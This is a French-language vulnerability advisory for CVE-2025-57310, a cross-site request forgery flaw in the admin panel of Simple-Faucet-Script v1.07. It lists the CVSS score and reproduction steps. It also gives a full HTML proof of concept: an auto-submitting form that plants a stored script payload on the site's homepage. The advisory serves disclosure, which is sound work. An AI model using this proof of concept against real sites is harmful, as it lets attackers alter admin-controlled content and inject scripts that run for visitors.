CVE-2025-57310

Une vulnérabilité de type Cross-Site Request Forgery (CSRF) dans Salmen2/Simple-Faucet-Script v1.07 via une requête POST forgée vers admin.php?p=ads&c=1 permettant à des attaquants d'exécuter du code arbitraire.

CWE

CWE-352:Falsification de requête intersite (CSRF)

CVSS v3.1 Score de base : 8.8 (Élevé)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Résumé

Le produit est vulnérable à la falsification de requête intersite (CSRF) sur le panneau d'administration. Lorsqu'un administrateur authentifié visite une page malveillante contenant le PoC, l'attaque CSRF provoque une modification non autorisée du contenu de la page d'accueil.

Étapes à reproduire

Connectez-vous en tant qu'administrateur sur https://example.com/admin.php
Ouvrez le PoC suivant, observez une fenêtre d'alerte sur la page d'accueil (XSS stocké).

<!DOCTYPE html>
  <html>
  <head>
      <title>CSRF PoC</title>
  </head>
  <body>
      <h3>Standard CSRF PoC</h3>
      <form action="https://example.com/admin.php?p=ads&c=1" method="post">
        <input type="hidden" name="spacetop" value="<script>alert();</script>" />
          <input type="submit" value="Submit request" />
      </form>
      <script>
          history.pushState('', '', '/');
          document.forms[0].submit();
      </script>
  </body>
  </html>

CVE-2025-57310

Populaires

Impact

Crédit